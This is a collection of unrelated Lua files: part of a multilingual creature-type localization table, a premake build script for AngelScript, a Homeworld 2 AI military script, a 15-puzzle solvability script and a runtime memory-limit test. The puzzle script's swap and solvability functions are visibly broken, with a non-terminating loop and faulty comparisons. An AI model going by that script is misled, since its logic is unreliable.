["Rylak"] = "Rylak",
["Scorpid"] = "Scorpide",
["Serpent"] = "Serpent",
["Shale Spider"] = "Shale Spider",
["Shivarra"] = "Shivarra",
["Silithid"] = "Silithide",
["Spider"] = "Araignée",
["Spirit Beast"] = "Esprit de bête",
["Sporebat"] = "Sporoptère",
["Stag"] = "Cerf",
["Succubus"] = "Succube",
["Tallstrider"] = "Haut-trotteur",
["Terrorguard"] = "Garde de terreur",
["Totem"] = "Totem",
["Turtle"] = "Tortue",
["Undead"] = "Mort-vivant",
["Voidlord"] = "Seigneur du Vide",
["Voidwalker"] = "Marcheur du Vide",
["Warp Stalker"] = "Traqueur dim.",
["Wasp"] = "Guêpe",
["Water Elemental"] = "Elémentaire d'eau",
["Water Strider"] = "Trotteur aquatique",
["Wild Pet"] = "Mascotte sauvage",
["Wind Serpent"] = "Serpent des vents",
["Wolf"] = "Loup",
["Worm"] = "Ver",
["Wrathguard"] = "Garde-courroux"
}
elseif GAME_LOCALE == "koKR" then
lib:SetCurrentTranslations {
["Aberration"] = "돌연변이",
["Abyssal"] = "심연불정령",
["Basilisk"] = "바실리스크",
["Bat"] = "박쥐",
["Bear"] = "곰",
["Beast"] = "야수",
["Beetle"] = "딱정벌레",
["Bird of Prey"] = "맹금",
["Boar"] = "멧돼지",
["Carrion Bird"] = "독수리",
["Cat"] = "살쾡이",
["Chimaera"] = "키메라",
["Clefthoof"] = "갈래발굽",
["Core Hound"] = "심장부 사냥개",
["Crab"] = "게",
["Crane"] = "학",
["Critter"] = "동물",
["Crocolisk"] = "악어",
["Demon"] = "악마",
["Devilsaur"] = "데빌사우루스",
["Direhorn"] = "공포뿔",
["Dog"] = "개",
["Doomguard"] = "파멸의 수호병",
["Dragonhawk"] = "용매",
["Dragonkin"] = "용족",
["Elemental"] = "정령",
["Fel Imp"] = "지옥 임프",
["Felguard"] = "지옥수호병",
["Felhunter"] = "지옥사냥개",
["Fox"] = "여우",
["Gas Cloud"] = "가스",
["Ghoul"] = "구울",
["Giant"] = "거인",
["Goat"] = "염소",
["Gorilla"] = "고릴라",
["Humanoid"] = "인간형",
["Hydra"] = "히드라",
["Hyena"] = "하이에나",
["Imp"] = "임프",
["Mechanical"] = "기계",
["Monkey"] = "원숭이",
["Moth"] = "나방",
["Nether Ray"] = "황천의 가오리",
["Non-combat Pet"] = "애완동물",
["Not specified"] = "기타",
["Observer"] = "감시자",
["Porcupine"] = "호저",
["Quilen"] = "기렌",
["Raptor"] = "랩터",
["Ravager"] = "칼날발톱",
["Remote Control"] = "무선조종 장난감",
["Rhino"] = "코뿔소",
["Riverbeast"] = "강물하마",
["Rylak"] = "라일라크",
["Scorpid"] = "전갈",
["Serpent"] = "뱀",
["Shale Spider"] = "혈암 거미",
["Shivarra"] = "쉬바라",
["Silithid"] = "실리시드",
["Spider"] = "거미",
["Spirit Beast"] = "야수 정령",
["Sporebat"] = "포자날개",
["Stag"] = "사슴",
["Succubus"] = "서큐버스",
["Tallstrider"] = "타조",
["Terrorguard"] = "공포수호병",
["Totem"] = "토템",
["Turtle"] = "거북",
["Undead"] = "언데드",
["Voidlord"] = "공허군주",
["Voidwalker"] = "공허방랑자",
["Warp Stalker"] = "차원의 추적자",
["Wasp"] = "말벌",
["Water Elemental"] = "물 정령",
["Water Strider"] = "소금쟁이",
["Wild Pet"] = "야생 애완동물",
["Wind Serpent"] = "천둥매",
["Wolf"] = "늑대",
["Worm"] = "벌레",
["Wrathguard"] = "격노수호병"
}
elseif GAME_LOCALE == "esES" then
lib:SetCurrentTranslations {
["Aberration"] = "Aberración",
["Abyssal"] = "Abisal",
["Basilisk"] = "Basilisco",
["Bat"] = "Murciélago",
["Bear"] = "Oso",
["Beast"] = "Bestia",
["Beetle"] = "Alfazaque",
["Bird of Prey"] = "Ave rapaz",
["Boar"] = "Jabalí",
["Carrion Bird"] = "Carroñero",
["Cat"] = "Felino",
["Chimaera"] = "Quimera",
["Clefthoof"] = "Uñagrieta",
["Core Hound"] = "Can del Núcleo",
["Crab"] = "Cangrejo",
["Crane"] = "Grulla",
["Critter"] = "Alma",
["Crocolisk"] = "Crocolisco",
["Demon"] = "Demonio",
["Devilsaur"] = "Demosaurio",
["Direhorn"] = "Cuernoatroz",
["Dog"] = "Perro",
["Doomguard"] = "Guardia apocalíptico",
["Dragonhawk"] = "Dracohalcón",
["Dragonkin"] = "Dragón",
["Elemental"] = "Elemental",
["Fel Imp"] = "Diablillo vil",
["Felguard"] = "Guardia vil",
["Felhunter"] = "Manáfago",
["Fox"] = "Zorro",
["Gas Cloud"] = "Nube de Gas",
["Ghoul"] = "Necrófago",
["Giant"] = "Gigante",
["Goat"] = "Cabra",
["Gorilla"] = "Gorila",
["Humanoid"] = "Humanoide",
["Hydra"] = "Hidra",
["Hyena"] = "Hiena",
["Imp"] = "Diablillo",
["Mechanical"] = "Mecánico",
["Monkey"] = "Mono",
["Moth"] = "Palomilla",
["Nether Ray"] = "Raya abisal",
["Non-combat Pet"] = "Mascota no combatiente",
["Not specified"] = "No especificado",
["Observer"] = "Observador",
["Porcupine"] = "Puercoespín",
["Quilen"] = "Quilen",
["Raptor"] = "Raptor",
["Ravager"] = "Devastador",
["Remote Control"] = "Control remoto",
["Rhino"] = "Rinoceronte",
["Riverbeast"] = "Bestia fluvial",
["Rylak"] = "Rylak",
["Scorpid"] = "Escórpido",
["Serpent"] = "Serpiente",
["Shale Spider"] = "Araña de esquisto",
["Shivarra"] = "Shivarra",
["Silithid"] = "Silítido",
["Spider"] = "Araña",
["Spirit Beast"] = "Bestia espíritu",
["Sporebat"] = "Esporiélago",
["Stag"] = "Venado",
["Succubus"] = "Súcubo",
["Tallstrider"] = "Zancaalta",
["Terrorguard"] = "Guarda terrorífico",
["Totem"] = "Tótem",
["Turtle"] = "Tortuga",
["Undead"] = "No-muerto",
["Voidlord"] = "Señor del vacío",
["Voidwalker"] = "Abisario",
["Warp Stalker"] = "Acechador deformado",
["Wasp"] = "Avispa",
["Water Elemental"] = "Elemental de agua",
["Water Strider"] = "Zancudo acuático",
["Wild Pet"] = "Mascota salvaje",
["Wind Serpent"] = "Serpiente alada",
["Wolf"] = "Lobo",
["Worm"] = "Gusano",
["Wrathguard"] = "Guardia de cólera"
}
elseif GAME_LOCALE == "esMX" then
lib:SetCurrentTranslations {
["Aberration"] = "Aberración",
["Abyssal"] = "Abisal",
["Basilisk"] = "Basilisco",
["Bat"] = "Murciélago",
["Bear"] = "Oso",
["Beast"] = "Bestia",
["Beetle"] = "Alfazaque",
["Bird of Prey"] = "Ave rapaz",
["Boar"] = "Jabalí",
["Carrion Bird"] = "Carroñero",
["Cat"] = "Felino",
["Chimaera"] = "Quimera",
["Clefthoof"] = "Uñagrieta",
["Core Hound"] = "Can del Núcleo",
["Crab"] = "Cangrejo",
["Crane"] = "Grulla",
["Critter"] = "Alma",
["Crocolisk"] = "Crocolisco",
["Demon"] = "Demonio",
["Devilsaur"] = "Demosaurio",
["Direhorn"] = "Cuernoatroz",
["Dog"] = "Perro",
["Doomguard"] = "Guardia apocalíptico",
["Dragonhawk"] = "Dracohalcón",
["Dragonkin"] = "Dragon",
["Elemental"] = "Elemental",
["Fel Imp"] = "Diablillo vil",
["Felguard"] = "Guardia vil",
["Felhunter"] = "Manáfago",
["Fox"] = "Zorro",
["Gas Cloud"] = "Nube de Gas",
["Ghoul"] = "Necrófago",
["Giant"] = "Gigante",
["Goat"] = "Cabra",
["Gorilla"] = "Gorila",
["Humanoid"] = "Humanoide",
["Hydra"] = "Hidra",
["Hyena"] = "Hiena",
["Imp"] = "Diablillo",
["Mechanical"] = "Mecánico",
["Monkey"] = "Mono",
["Moth"] = "Palomilla",
["Nether Ray"] = "Raya abisal",
["Non-combat Pet"] = "Mascota mansa",
["Not specified"] = "Sin especificar",
["Observer"] = "Observador",
["Porcupine"] = "Puercoespín",
["Quilen"] = "Quilen",
["Raptor"] = "Raptor",
["Ravager"] = "Devastador",
["Remote Control"] = "Control remoto",
["Rhino"] = "Rinoceronte",
["Riverbeast"] = "Bestia fluvial",
["Rylak"] = "Rylak",
["Scorpid"] = "Escórpido",
["Serpent"] = "Serpiente",
["Shale Spider"] = "Araña de esquisto",
["Shivarra"] = "Shivarra",
["Silithid"] = "Silítido",
["Spider"] = "Araña",
["Spirit Beast"] = "Bestia espíritu",
["Sporebat"] = "Esporiélago",
["Stag"] = "Venado",
["Succubus"] = "Súcubo",
["Tallstrider"] = "Zancaalta",
["Terrorguard"] = "Guarda terrorífico",
["Totem"] = "Totém",
["Turtle"] = "Tortuga",
["Undead"] = "No-muerto",
["Voidlord"] = "Señor del vacío",
["Voidwalker"] = "Abisario",
["Warp Stalker"] = "Acechador deformado",
["Wasp"] = "Avispa",
["Water Elemental"] = "Elemental de agua",
["Water Strider"] = "Zancudo acuático",
["Wild Pet"] = "Mascóta Salvaje",
["Wind Serpent"] = "Serpiente alada",
["Wolf"] = "Lobo",
["Worm"] = "Gusano",
["Wrathguard"] = "Guardia de cólera"
}
elseif GAME_LOCALE == "ptBR" then
lib:SetCurrentTranslations {
["Aberration"] = "Aberração",
["Abyssal"] = "Abissal",
["Basilisk"] = "Basilisco",
["Bat"] = "Morcego",
["Bear"] = "Urso",
["Beast"] = "Fera",
["Beetle"] = "Besouro",
["Bird of Prey"] = "Ave de Rapina",
["Boar"] = "Javali",
["Carrion Bird"] = "Pássaro Carniçeiro",
["Cat"] = "Gato",
["Chimaera"] = "Quimera",
["Clefthoof"] = "Fenoceronte",
["Core Hound"] = "Cão-Magma",
["Crab"] = "Carangueijo",
["Crane"] = "Garça",
["Critter"] = "Bicho",
["Crocolisk"] = "Crocolisco",
["Demon"] = "Demônio",
["Devilsaur"] = "Demossauro",
["Direhorn"] = "Escornante",
["Dog"] = "Cachorro",
["Doomguard"] = "Demonarca",
["Dragonhawk"] = "Falcodrago",
["Dragonkin"] = "Dracônico",
["Elemental"] = "Elemental",
["Fel Imp"] = "Diabrete Vil",
["Felguard"] = "Guarda Vil",
["Felhunter"] = "Caçador Vil",
["Fox"] = "Raposa",
["Gas Cloud"] = "Nuvem de Gás",
["Ghoul"] = "Carniçal",
["Giant"] = "Gigante",
["Goat"] = "Bode",
["Gorilla"] = "Gorila",
["Humanoid"] = "Humanoide",
["Hydra"] = "Hidra",
["Hyena"] = "Hiena",
["Imp"] = "Diabrete",
["Mechanical"] = "Mecânico",
["Monkey"] = "Macaco",
["Moth"] = "Mariposa",
["Nether Ray"] = "Arraia Etérea",
["Non-combat Pet"] = "Mascote não-combatente",
["Not specified"] = "Não especificado",
["Observer"] = "Observador",
["Porcupine"] = "Porco-espinho",
["Quilen"] = "Quílen",
["Raptor"] = "Raptor",
["Ravager"] = "Assolador",
["Remote Control"] = "Controle Remoto",
["Rhino"] = "Rinoceronte",
["Riverbeast"] = "Fera-do-rio",
["Rylak"] = "Rylak",
["Scorpid"] = "Escorpídeo",
["Serpent"] = "Serpente",
["Shale Spider"] = "Aranha Xistosa",
["Shivarra"] = "Shivarra",
["Silithid"] = "Silitídeo",
["Spider"] = "Aranha",
["Spirit Beast"] = "Fera Espiritual",
["Sporebat"] = "Quirósporo",
["Stag"] = "Cervo",
["Succubus"] = "Súcubo",
["Tallstrider"] = "Moa",
["Terrorguard"] = "Deimoguarda",
["Totem"] = "Totem",
["Turtle"] = "Tartaruga",
["Undead"] = "Morto-vivo",
["Voidlord"] = "Senhor do Caos",
["Voidwalker"] = "Emissário do Caos",
["Warp Stalker"] = "Espreitador Dimensional",
["Wasp"] = "Vespa",
["Water Elemental"] = "Elemental da Água",
["Water Strider"] = "Caminhante das Águas",
["Wild Pet"] = "Mascote Selvagem",
["Wind Serpent"] = "Serpente Alada",
["Wolf"] = "Lobo",
["Worm"] = "Verme",
["Wrathguard"] = "Guardião Colérico"
}
elseif GAME_LOCALE == "itIT" then
lib:SetCurrentTranslations {
["Aberration"] = "Aberrazione",
["Abyssal"] = "Abission",
["Basilisk"] = "Basilisco",
["Bat"] = "Pipistrello",
["Bear"] = "Orso",
["Beast"] = "Bestia",
["Beetle"] = "Scarafaggio",
["Bird of Prey"] = "Rapace",
["Boar"] = "Cinghiale",
["Carrion Bird"] = "Mangiacarogne",
["Cat"] = "Gatto",
["Chimaera"] = "Chimera",
["Clefthoof"] = "Mammuceronte",
["Core Hound"] = "Segugio del Nucleo",
["Crab"] = "Granchio",
["Crane"] = "Gru",
["Critter"] = "Animale",
["Crocolisk"] = "Coccodrillo",
["Demon"] = "Demone",
["Devilsaur"] = "Sauro Demoniaco",
["Direhorn"] = "Cornofurente",
["Dog"] = "Cane",
["Doomguard"] = "Demone Guardiano",
["Dragonhawk"] = "Dragofalco",
["Dragonkin"] = "Dragoide",
["Elemental"] = "Elementale",
["Fel Imp"] = "Vilimp",
["Felguard"] = "Vilguardia",
["Felhunter"] = "Vilsegugio",
["Fox"] = "Volpe",
["Gas Cloud"] = "Nube di Gas",
["Ghoul"] = "Ghoul",
["Giant"] = "Gigante",
["Goat"] = "Capra",
["Gorilla"] = "Gorilla",
["Humanoid"] = "Umanoide",
["Hydra"] = "Idra",
["Hyena"] = "Iena",
["Imp"] = "Folletto",
["Mechanical"] = "Meccanico",
["Monkey"] = "Scimmia",
["Moth"] = "Falena",
["Nether Ray"] = "Manta Fatua",
["Non-combat Pet"] = "Animale Non combattente",
["Not specified"] = "Non Specificato",
["Observer"] = "Osservatore",
["Porcupine"] = "Istrice",
["Quilen"] = "Quilen",
["Raptor"] = "Raptor",
["Ravager"] = "Devastatore ",
["Remote Control"] = "Telecomando",
["Rhino"] = "Rinoceronte",
["Riverbeast"] = "Bestia dei Fiumi",
["Rylak"] = "Rylak",
["Scorpid"] = "Scorpione",
["Serpent"] = "Serpente",
["Shale Spider"] = "Ragno D'argilla",
["Shivarra"] = "Shivarra",
["Silithid"] = "Silitide",
["Spider"] = "Ragno",
["Spirit Beast"] = "Spirito di Bestia",
["Sporebat"] = "Sporofago",
["Stag"] = "Cervo",
["Succubus"] = "Succube",
["Tallstrider"] = "Zampalunga",
["Terrorguard"] = "Guardia Maligna",
["Totem"] = "Totem",
["Turtle"] = "Tartaruga",
["Undead"] = "Non Morto",
["Voidlord"] = "Ombra del Vuoto",
["Voidwalker"] = "Ombra del Vuoto",
["Warp Stalker"] = "Camminatore Distorto",
["Wasp"] = "Vespa",
["Water Elemental"] = "Elementale d'Acqua",
["Water Strider"] = "Gerride",
["Wild Pet"] = "Creatura Selvaggia",
["Wind Serpent"] = "Serpente Volante",
["Wolf"] = "Lupo",
["Worm"] = "Verme",
["Wrathguard"] = "Guardia dell'Ira"
}
elseif GAME_LOCALE == "ruRU" then
lib:SetCurrentTranslations {
["Aberration"] = "Аберрация",
["Abyssal"] = "Абиссал",
["Basilisk"] = "Василиск",
["Bat"] = "Летучая мышь",
["Bear"] = "Медведь",
["Beast"] = "Животное",
["Beetle"] = "Жук",
["Bird of Prey"] = "Сова",
["Boar"] = "Вепрь",
["Carrion Bird"] = "Падальщик",
["Cat"] = "Кошка",
["Chimaera"] = "Химера",
["Clefthoof"] = "Копытень",
["Core Hound"] = "Гончая Недр",
["Crab"] = "Краб",
["Crane"] = "Журавль",
["Critter"] = "Существо",
["Crocolisk"] = "Кроколиск",
["Demon"] = "Демон",
["Devilsaur"] = "Дьявозавр",
["Direhorn"] = "Дикорог",
["Dog"] = "Собака",
["Doomguard"] = "Стражник ужаса",
["Dragonhawk"] = "Дракондор",
["Dragonkin"] = "Дракон",
["Elemental"] = "Элементаль",
["Fel Imp"] = "Бес Скверны",
["Felguard"] = "Страж Скверны",
["Felhunter"] = "Охотник Скверны",
["Fox"] = "Лиса",
["Gas Cloud"] = "Газовое облако",
["Ghoul"] = "Вурдалак",
["Giant"] = "Великан",
["Goat"] = "Козел",
["Gorilla"] = "Горилла",
["Humanoid"] = "Гуманоид",
["Hydra"] = "Гидра",
["Hyena"] = "Гиена",
["Imp"] = "Бес",
["Mechanical"] = "Механизм",
["Monkey"] = "Обезьяна",
["Moth"] = "Мотылек",
["Nether Ray"] = "Скат Пустоты",
["Non-combat Pet"] = "Спутник",
["Not specified"] = "Не указано",
["Observer"] = "Наблюдатель",
["Porcupine"] = "Дикобраз",
["Quilen"] = "Цийлинь",
["Raptor"] = "Ящер",
["Ravager"] = "Опустошитель",
["Remote Control"] = "Управление",
["Rhino"] = "Люторог",
["Riverbeast"] = "Речное чудище",
["Rylak"] = "Рилак",
["Scorpid"] = "Скорпид",
["Serpent"] = "Змей",
["Shale Spider"] = "Сланцевый паук",
["Shivarra"] = "Шиварра",
["Silithid"] = "Силитид",
["Spider"] = "Паук",
["Spirit Beast"] = "Дух зверя",
["Sporebat"] = "Спороскат",
["Stag"] = "Олень",
["Succubus"] = "Суккуб",
["Tallstrider"] = "Долгоног",
["Terrorguard"] = "Страж Ужаса",
["Totem"] = "Тотем",
["Turtle"] = "Черепаха",
["Undead"] = "Нежить",
["Voidlord"] = "Повелитель Бездны",
["Voidwalker"] = "Демон Бездны",
["Warp Stalker"] = "Прыгуана",
["Wasp"] = "Оса",
["Water Elemental"] = "Элементаль воды",
["Water Strider"] = "Водный Долгоног",
--Translation missing
-- ["Wild Pet"] = "Wild Pet",
["Wind Serpent"] = "Крылатый змей",
["Wolf"] = "Волк",
["Worm"] = "Червь",
["Wrathguard"] = "Страж гнева"
}
elseif GAME_LOCALE == "zhCN" then
lib:SetCurrentTranslations {
["Aberration"] = "畸变怪",
["Abyssal"] = "深渊魔",
["Basilisk"] = "石化蜥蜴",
["Bat"] = "蝙蝠",
["Bear"] = "熊",
["Beast"] = "野兽",
["Beetle"] = "甲虫",
["Bird of Prey"] = "猛禽",
["Boar"] = "野猪",
["Carrion Bird"] = "食腐鸟",
["Cat"] = "豹",
["Chimaera"] = "奇美拉",
["Clefthoof"] = "裂蹄牛",
["Core Hound"] = "熔岩犬",
["Crab"] = "螃蟹",
["Crane"] = "鹤",
["Critter"] = "小动物",
["Crocolisk"] = "鳄鱼",
["Demon"] = "恶魔",
["Devilsaur"] = "魔暴龙",
["Direhorn"] = "恐角龙",
["Dog"] = "狗",
["Doomguard"] = "末日守卫",
["Dragonhawk"] = "龙鹰",
["Dragonkin"] = "龙类",
["Elemental"] = "元素生物",
["Fel Imp"] = "邪能小鬼",
["Felguard"] = "恶魔卫士",
["Felhunter"] = "地狱猎犬",
["Fox"] = "狐狸",
["Gas Cloud"] = "气体云雾",
["Ghoul"] = "食尸鬼",
["Giant"] = "巨人",
["Goat"] = "山羊",
["Gorilla"] = "猩猩",
["Humanoid"] = "人型生物",
["Hydra"] = "多头蛇",
["Hyena"] = "土狼",
["Imp"] = "小鬼",
["Mechanical"] = "机械",
["Monkey"] = "猴子",
["Moth"] = "蛾子",
["Nether Ray"] = "虚空鳐",
["Non-combat Pet"] = "非战斗宠物",
["Not specified"] = "未指定",
["Observer"] = "眼魔",
["Porcupine"] = "箭猪",
["Quilen"] = "魁麟",
["Raptor"] = "迅猛龙",
["Ravager"] = "掠食者",
["Remote Control"] = "远程控制",
["Rhino"] = "犀牛",
["Riverbeast"] = "淡水兽",
["Rylak"] = "双头飞龙",
["Scorpid"] = "蝎子",
["Serpent"] = "蛇",
["Shale Spider"] = "页岩蜘蛛",
["Shivarra"] = "破坏魔",
["Silithid"] = "异种虫",
["Spider"] = "蜘蛛",
["Spirit Beast"] = "灵魂兽",
["Sporebat"] = "孢子蝠",
["Stag"] = "雄鹿",
["Succubus"] = "魅魔",
["Tallstrider"] = "陆行鸟",
["Terrorguard"] = "恐惧卫士",
["Totem"] = "图腾",
["Turtle"] = "海龟",
["Undead"] = "亡灵",
["Voidlord"] = "虚空领主",
["Voidwalker"] = "虚空行者",
["Warp Stalker"] = "迁跃捕猎者",
["Wasp"] = "巨蜂",
["Water Elemental"] = "水元素",
["Water Strider"] = "水黾",
["Wild Pet"] = "野生宠物",
["Wind Serpent"] = "风蛇",
["Wolf"] = "狼",
["Worm"] = "蠕虫",
["Wrathguard"] = "愤怒卫士"
}
elseif GAME_LOCALE == "zhTW" then
lib:SetCurrentTranslations {
["Aberration"] = "畸變怪",
["Abyssal"] = "冥淵火",
["Basilisk"] = "蜥蜴",
["Bat"] = "蝙蝠",
["Bear"] = "熊",
["Beast"] = "野獸",
["Beetle"] = "甲殼蟲",
["Bird of Prey"] = "猛禽",
["Boar"] = "野豬",
["Carrion Bird"] = "食腐鳥",
["Cat"] = "豹",
["Chimaera"] = "奇美拉",
["Clefthoof"] = "裂蹄",
["Core Hound"] = "熔核犬",
["Crab"] = "螃蟹",
["Crane"] = "鶴",
["Critter"] = "小動物",
["Crocolisk"] = "鱷魚",
["Demon"] = "惡魔",
["Devilsaur"] = "魔暴龍",
["Direhorn"] = "恐角龍",
["Dog"] = "狗",
["Doomguard"] = "末日守衛",
["Dragonhawk"] = "龍鷹",
["Dragonkin"] = "龍類",
["Elemental"] = "元素生物",
["Fel Imp"] = "魔化小鬼",
["Felguard"] = "惡魔守衛",
["Felhunter"] = "惡魔獵犬",
["Fox"] = "狐狸",
["Gas Cloud"] = "氣體雲",
["Ghoul"] = "食屍鬼",
["Giant"] = "巨人",
["Goat"] = "山羊",
["Gorilla"] = "猩猩",
["Humanoid"] = "人型生物",
["Hydra"] = "多頭蛇",
["Hyena"] = "土狼",
["Imp"] = "小鬼",
["Mechanical"] = "機械",
["Monkey"] = "猴子",
["Moth"] = "蛾",
["Nether Ray"] = "虛空鰭刺",
["Non-combat Pet"] = "非戰鬥寵物",
["Not specified"] = "不明",
["Observer"] = "觀察者",
["Porcupine"] = "豪豬",
["Quilen"] = "麒麟獸",
["Raptor"] = "迅猛龍",
["Ravager"] = "劫毀者",
["Remote Control"] = "遙控",
["Rhino"] = "犀牛",
["Riverbeast"] = "河獸",
["Rylak"] = "雙頭飛龍",
["Scorpid"] = "蠍子",
["Serpent"] = "毒蛇",
["Shale Spider"] = "岩蛛",
["Shivarra"] = "希瓦拉",
["Silithid"] = "異種蟲族",
["Spider"] = "蜘蛛",
["Spirit Beast"] = "靈獸",
["Sporebat"] = "孢子蝙蝠",
["Stag"] = "雄鹿",
["Succubus"] = "魅魔",
["Tallstrider"] = "陸行鳥",
["Terrorguard"] = "懼護衛",
["Totem"] = "圖騰",
["Turtle"] = "海龜",
["Undead"] = "不死族",
["Voidlord"] = "虛無領主",
["Voidwalker"] = "虛無行者",
["Warp Stalker"] = "扭曲巡者",
["Wasp"] = "黃蜂",
["Water Elemental"] = "水元素",
["Water Strider"] = "水黽",
["Wild Pet"] = "野生寵物",
["Wind Serpent"] = "風蛇",
["Wolf"] = "狼",
["Worm"] = "蟲",
["Wrathguard"] = "憤怒守衛"
}
else
error(("%s: Locale %q not supported"):format(MAJOR_VERSION, GAME_LOCALE))
end
|
project "angelscript"
kind "StaticLib"
language "C++"
cppdialect "C++11"
staticruntime "on"
includedirs {
"angelscript/include/angelscript"
}
files {
"angelscript/source/**.cpp",
"angelscript/source/**.h",
"angelscript/add_on/**.cpp",
"angelscript/add_on/**.h"
}
if (os.host() == "windows") then
--files {
-- "angelscript/source/as_callfunc_x64_msvc.cpp",
-- "angelscript/source/as_callfunc_x64_msvc_asm.asm"
--}
filter "configurations:Debug"
defines { "DEBUG", "WIN32" }
symbols "On"
filter "configurations:Release"
defines { "RELEASE", "WIN32" }
optimize "On"
else
filter "configurations:Debug"
runtime "Debug"
symbols "on"
filter "configurations:Release"
runtime "Release"
optimize "on"
end
|
-- Pretty-Printed using HW2 Pretty-Printer 1.27 by Mikail.
-- this script manages the AI military. This includes group sizes, attack times, attack defend percentages,
aitrace("LOADING CPU MILITARY")
function CpuMilitary_Init()
cp_attackPercent = 100
if (g_LOD == 0) then
cp_attackPercent = 50
end
-- number of ships in group needed before it attacks OR value (if either exceed this number the ships will become active to attack defend)
-- this is also overridden by other factors (or should be)
cp_minSquadGroupSize = 5
cp_minSquadGroupValue = 200
cp_maxGroupSize = 14
cp_maxGroupValue = 200
-- number of units a group will have before it will always attack - even if enemy has more/ better units
cp_forceAttackGroupSize = 14
if (g_LOD == 1) then
cp_forceAttackGroupSize = 12
end
if (g_LOD == 0) then
cp_forceAttackGroupSize = 8
end
-- what percentage modifier is used by the attackgroup when evaluating a target - so 70% means the enemy is reduced to 70% value increasing the chance of an attack
cp_initThreatModifier = 0.95
-- if easy attack even at 55% of value - making the AI attack more often - but hopefully with less dudes (so they die more often)
if (g_LOD == 0) then
cp_initThreatModifier = 0.5
elseif (g_LOD == 1) then
cp_initThreatModifier = 0.75
end
-- init so there is always some value here
sg_moreEnemies = 0
-- random number used for sending wave attacks
sg_militaryRand = Rand(100)
if (Override_MilitaryInit) then
Override_MilitaryInit()
end
end
function CpuMilitary_Process()
-- calculate how many more enemies then allies there are
local numEnemies = PlayersAlive(player_enemy)
local numAllies = PlayersAlive(player_ally)
sg_moreEnemies = numEnemies - numAllies
-- modify group vars (like minsize, etc) dynamically
Logic_military_groupvars()
-- run rules that take the current state into consideration (underattack, losing, winning,...) and deal with military
Logic_military_attackrules()
-- deals with 'when' we should attack and how often
Logic_military_setattacktimer()
-- set attack percentages - based on number of enemies and allies, distances, winning vs losing
end
function Logic_military_groupvars()
cp_minSquadGroupSize = 4
cp_minSquadGroupValue = 150
if (sg_moreEnemies > 0 and s_selfTotalValue < s_enemyTotalValue * 2) then
cp_minSquadGroupSize = cp_minSquadGroupSize + 2
cp_minSquadGroupValue = cp_minSquadGroupValue + 75
else
-- if we are winning, meaning we have quite a bit more military then the enemy then reduce minsize and value
--aitrace("playerthreat:"..playercompare)
if (s_militaryStrength > 120) then
cp_minSquadGroupSize = 3
cp_minSquadGroupValue = 120
end
end
end
function Logic_military_attackrules()
-- if on easy and we are the AI is winning after 20 minutes put military on full attack
if (g_LOD == 0) then
if (gameTime() > 20 * 60 and s_militaryStrength > 0) then
cp_attackPercent = 100
end
-- if we are under attack move more dudes over to defence
-- if enemy has twice as much military as the AI does then go on defence
if (s_selfTotalValue * 2 < s_enemyTotalValue and s_selfTotalValue > 150) then
-- take a defensive stance
cp_attackPercent = 0
aitrace("I'm Losing!! Go on defence")
end
end
end
-- function that gets called on a timer
function attack_now_timer()
aitrace("Script:calling attack_now_timer")
--
AttackNow()
Rule_Remove("attack_now_timer")
end
-- functions that begin with Logic_ are replaceable chunks
function Logic_military_setattacktimer()
-- when does the AI start attacking
local timedelay = 600
-- based on map size and other factors
-- how often does it send another wave
local wavedelay = 240 + sg_militaryRand * 0.6
if (g_LOD == 1) then
timedelay = 400
wavedelay = 160 + sg_militaryRand * 0.4
end
if (g_LOD >= 2) then
timedelay = 0
wavedelay = 45 + sg_militaryRand * 0.3
end
-- INSERT HERE ANY LOGIC MODIFACTIONS TO timedelay or wavedelay
local gametime = gameTime()
-- has the start time gone by or have we received a certain level of damage
-- issue: CPU can't determine if teammates have been attacked
if (gametime >= timedelay or HaveBeenAttacked() == 1) then
-- insert other logic that would issue an attack
if (Rule_Exists("attack_now_timer") == 0) then
aitrace("Script: Attacktimer added")
-- this will also call attacknow instantly
Rule_AddInterval("attack_now_timer", wavedelay)
end
end
end
|
function indexof (i, l)
local index = {}
for k, v in pairs(l) do
index[v] = k
end
return index[i]
end
-- Create a list with all numbers between 'from' to and with 'to'
function list (from, to)
local l = {}
while from <= to do
l[#l+1] = from
from = from + 1
end
return l;
end
-- When making a move, the tiles swap indexes
function swap (list, n, m)
i, l = 0, {}
while #l < #list do
i = i + 1
if i == indexof(n, list) then
l[i] = m
elseif i == indexof(m, list) then
l[i] = n
end
end
return l;
end
-- Find the parity if permutation for correct anwser
function parity (start, endt, m)
s = indexof(m, start)
e = indexof(m, endt)
return (s%4 - e%4 + s//4 - e//4) % 2;
end
-- Test if transposition is possible for a given start and end permutation.
function solvable (start, endt, m)
step = 0
last = endt
while not (start == last) do
step = step + 1
last = start
if not start[(step%#start)+1] == endt[(step%#endt)+1] then
start = swap(start, start[step%#start], endt[step%#endt])
end
print(step, table.concat(start, " "))
end
return step%2 == parity(start, endt, m);
end
-- The current permutation
arrangment = {
1, 2, 3, 4,
12,13,14, 5,
11,16,15, 6,
10, 9, 8, 7
}
print(solvable(arrangment, list(1,16), 16))
-- Following the scheme; starting from index 1 to 16 where 16 is the blank
-- Spiral (Solvable)
spiral = {
1, 2, 3, 4,
12,13,14, 5,
11,16,15, 6,
10, 9, 8, 7
}
-- Reverse order (Unsolvable)
reverse = {
15,14,13,12,
11,10, 9, 8,
7, 6, 5, 4,
3, 2, 1,16
}
--
-- Sam loyds (Unsolvable)
samloyd = {
1, 2, 3, 4,
5, 6, 7, 8,
9,10,11,12,
13,15,14,16
}
|
local s = "helLO"
local s1000 = s:rep(1000)
-- string.lower, string.upper, string.reverse consume memory
do
print(runtime.callcontext({kill={memory=4000}}, string.lower, s))
--> =done hello
print(runtime.callcontext({kill={memory=4000}}, string.lower, s1000))
--> =killed
-- string.upper consumes memory
print(runtime.callcontext({kill={memory=4000}}, string.upper, s))
--> =done HELLO
print(runtime.callcontext({kill={memory=4000}}, string.upper, s1000))
--> =killed
-- string.reverse consumes memory
print(runtime.callcontext({kill={memory=4000}}, string.reverse, s))
--> =done OLleh
print(runtime.callcontext({kill={memory=4000}}, string.reverse, s1000))
--> =killed
end
-- string.sub consumes memory
do
print(runtime.callcontext({kill={memory=1000}}, string.sub, s, 3, 2000))
--> =done lLO
print(runtime.callcontext({kill={memory=1000}}, string.sub, s1000, 3, 2000))
--> =killed
end
-- string.byte consumes memory
do
-- helper function to consume the returned bytes from string.byte.
function len(s)
return select('#', s:byte(1, #s))
end
print(len("foobar"))
--> =6
print(runtime.callcontext({kill={memory=10000}}, len, s1000))
--> =killed
-- string.char consumes memory
print(runtime.callcontext({kill={memory=1000}}, string.char, s:byte(1, #s)))
--> =done helLO
